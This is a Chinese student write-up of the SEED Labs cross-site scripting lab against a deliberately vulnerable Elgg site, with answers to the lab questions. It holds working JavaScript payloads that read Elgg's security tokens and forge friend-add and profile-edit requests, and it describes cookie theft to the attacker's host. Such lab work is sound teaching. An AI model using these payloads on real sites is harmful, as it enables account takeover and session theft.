一、题目

跨站点脚本(XSS)是一种常见于web应用程序中的计算机安全漏洞。此漏洞使攻击者有可能将恶意代码(如JavaScripts)注入受害者的web浏览器。

为了演示攻击者可以做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。我们已经注释掉了Elgg的一些保护方法,故意使其容易受到XSS攻击。学生们需要利用这些漏洞发动攻击,就像Samy Kamkar在2005年通过臭名昭著的Samy蠕虫对MySpace所做的那样。此攻击的最终目标是在用户之间传播XSS蠕虫,这样无论谁查看受感染的用户配置文件都会受到感染,无论谁受感染都会将您(即攻击者)添加到他/她的好友列表中。

二、过程

一、Task 1: Posting a Malicious Message to Display an Alert Window
在Elgg配置文件中嵌入一个JavaScript程序,这样当另一个用户查看您的配置文件时,将执行JavaScript程序,并将显示一个警报窗口。以下JavaScript程序将显示一个警报窗口:

回到个人主页得到结果弹窗如图:

二、Task 2: Posting a Malicious Message to Display Cookies
此任务的目的是在Elgg配置文件中嵌入一个JavaScript程序,这样当另一个用户查看您的配置文件时,用户的Cookie将显示在警报窗口中。这可以通过在上一个任务中向JavaScript程序中添加document.cookie

得到cookie如图:

三、Task 3: Stealing Cookies from the Victim’s Machine

在此任务中,攻击者希望JavaScript代码将Cookie发送给自己。要实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,并将Cookie附加到该请求中。我们可以通过让恶意JavaScript插入一个为攻击者的机器设置src属性的标签来实现这一点。当JavaScript插入img标签时,浏览器会试图从src字段中的URL加载图像;这将导致向攻击者的机器发送一个HTTPGET请求。下面给出的JavaScript将Cookie发送到攻击者机器的端口5555(IP地址为10.9.0.1),其中攻击者有一个TCP服务器侦听同一端口。
首先开启监听:

修改Alice的profile,登录samy账号点进Alice的profile:

在监听窗口得到返回的cookie:

四、Task 4: Becoming the Victim’s Friend
编写一个XSS蠕虫,将Samy作为朋友添加到任何其他访问Samy页面的用户中。这种蠕虫不会自我传播;在任务6中,我们将使它能够自我传播。在这个任务中,我们需要编写一个恶意的JavaScript程序,该程序直接从受害者的浏览器伪造HTTP请求,而不需要攻击者的干预。这次袭击的目的是让萨米成为受害者的朋友。我们已经在Elgg服务器上创建了一个名为Samy的用户(用户名是Samy)。为了为受害者添加朋友,我们应该首先了解合法用户如何在Elgg中添加朋友。更具体地说,我们需要找出当用户添加朋友时向服务器发送了什么。火狐的HTTP检查工具可以帮助我们获取信息。它可以显示从浏览器发送的任何HTTP请求消息的内容。从这些内容中,我们可以识别请求中的所有参数。
利用 js 实现 GET 方法。修改samy 的 profile 如图所示。保存后,所有访问者均会触发这段代码。

<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}</script>

可以用Alice登录,目前没有朋友,访问samy主页后得到添加朋友成功。


Question 1: Explain the purpose of Lines ➀ and ➁, why are they are needed?
ts 和 token 可以验证用户身份,获取它们形成完整的 GET 请求,达到欺骗服务器的目的。

Question 2: If the Elgg application only provide the Editor mode for the “About Me” fifield, i.e.,
you cannot switch to the Text mode, can you still launch a successful attack?

还能成功发布攻击,因为Brief description,Location,Interests等字段,都可以注入Script代码

五、Task 5: Modifying the Victim’s Profifile
这项任务的目的是在受害者访问萨米的页面时修改受害者的个人资料。需要编写一个恶意的JavaScript程序,该程序直接从受害者的浏览器伪造HTTP请求,而不需要攻击者的干预。将使用火狐的HTTP检查工具构建HTTP POST请求来修改用户的配置文件。
得到接口地址为:
http://www.seed-server.com/action/profile/edit

构建Script,token等数据都放在了Post里。

<script type="text/javascript">window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid=elgg.session.user.guid;
var ts=elgg.security.token.__elgg_ts;
var token=elgg.security.token.__elgg_token;
var updateMessage = "hahaha";
//Construct the content of your url.
var content="__elgg_token="+token+"&__elgg_ts="+ts+"&name="+userName+"&description=&accesslevel[description]=2&briefdescription="+updateMessage+"&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid="+guid;
var sendurl="http://www.seed-server.com/action/profile/edit"; //FILL IN
var samyGuid = 59;
//Create and send Ajax request to modify profile
if(guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
} }</script>

用Alice登录,目前主页无信息,访问samy主页后自己主页出现hello

网络攻防技术——XSS实验相关推荐

  1. 【网络攻防技术】实验四——缓冲区溢出攻击实验

    文章目录 一.实验题目 二.实验步骤 Task1: Get Familiar with the Shellcod Task2: Level-1 Attack Task 3: Level-2 Attac ...

  2. 【网络攻防技术】实验三——MD5碰撞实验

    一.实验要求 本次实验主要是加深大家对MD5碰撞及其原理的理解,使用SEED实验环境中的工具及编程语言,完成以下任务: a)使用md5collgen生成两个MD5值相同的文件,并利用bless十六进制 ...

  3. 20155201 网络攻防技术 实验六 信息搜集与漏洞

    20155201 网络攻防技术 实验六 信息搜集与漏洞 一.实践内容 各种搜索技巧的应用 DNS IP注册信息的查询 基本的扫描技术:主机发现.端口扫描.OS及服务版本探测.具体服务的查点 漏洞扫描: ...

  4. 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境.实验说明.实验代码见 Shellcode Development Lab Task 1: Writing Shellcode a: The Entire Process 1 ...

  5. 20202407 2021-2022-2 《网络与系统攻防技术》实验四实验报告

    20202407 2021-2022-2 <网络与系统攻防技术>实验四实验报告 1.实践内容 1.1 恶意代码基础知识 定义:指的是使计算机按照攻击者的意图执行以达到恶意目标的指令集. 恶 ...

  6. 20202413 2021-2022-2 《网络与系统攻防技术》实验三实验报告

    20202413 2021-2022-2 <网络与系统攻防技术>实验三实验报告 文章目录 20202413 2021-2022-2 <网络与系统攻防技术>实验三实验报告 1.实 ...

  7. 20202413 2021-2022-2 《网络与系统攻防技术》实验二实验报告

    20202413 2021-2022-2 <网络与系统攻防技术>实验二实验报告 文章目录 20202413 2021-2022-2 <网络与系统攻防技术>实验二实验报告 1.实 ...

  8. 网络攻防技术(摆烂一天)

    网络攻防技术非常基础 1. 信息采集 信息采集的重点概念: 信息采集是黑客为了更有效的实施攻击而在攻击前对被攻击目标进行探测活动(信息渗透的过程) 信息采集是渗透重要的一部分:知道的越多就可能知道的更 ...

  9. 2018-2019-2 20189215 《网络攻防技术》第五周作业

    <Python 黑帽子>第四章 代码托管:[https://github.com/jsjliyang/python3-Black.Hat/tree/master/chapter4) 教材& ...

最新文章

  1. android 常驻进程
  2. 在Windows上以服务方式运行 MSOPenTech/Redis
  3. Silverlight2 边学边练 之三 小球自由落体
  4. 【译】How to create your own Question-Answering system easily with python
  5. python如何操作oracle数据库_Python 操作 Oracle 数据库
  6. Android日志拦截器,Retrofit2日志拦截器的使用
  7. 大数据中常见的端口号 总结汇总大全(最新)
  8. 六种让路由器与交换机更加安全的方法
  9. linux密码带星号,Linux下实现输入密码以星号显示
  10. 计算机二级学那个科目,考计算机二级选哪个科目好 哪个科目简单
  11. linuex查看繁忙_[个人笔记] 关于linux的常见问题合集
  12. node soket.io + express + vue-soket.io 之间实现通信
  13. 接口测试工具Postman接口测试图文教程
  14. [转]Google发现的十大真理
  15. 枯燥编程加奇炫美术 —— 看育碧 Ubisoft 如何开发游戏大作
  16. [Toolkit]最新Silverlight Toolkit中的DragDrop支持
  17. LayaAir 图集动画2—动画运用
  18. 内核中的中断函数request_irq()
  19. 《实况足球10》全套数值能力解析
  20. 笔记本电脑连不上WIFI

热门文章

  1. docker基础篇--有它就够了
  2. iOS 定位和地图
  3. 安徽省2016“京胜杯”程序设计大赛_C_箭无虚发
  4. 通过PHP保存图片到mysql,如何使用MySQL保存一个图片并且用PHP得到它
  5. 一键体验 Istio
  6. 【PyTorch教程】P30 GPU加速
  7. 名词用作动词举例_中学文言文词类活用详解:名词活用作动词(一)
  8. SLO 和 SLI的最佳实践
  9. 企业知识语言(Enterprise Knowledge Language,EKL)
  10. Java零基础学习记录09(飞机躲避炮弹游戏实现)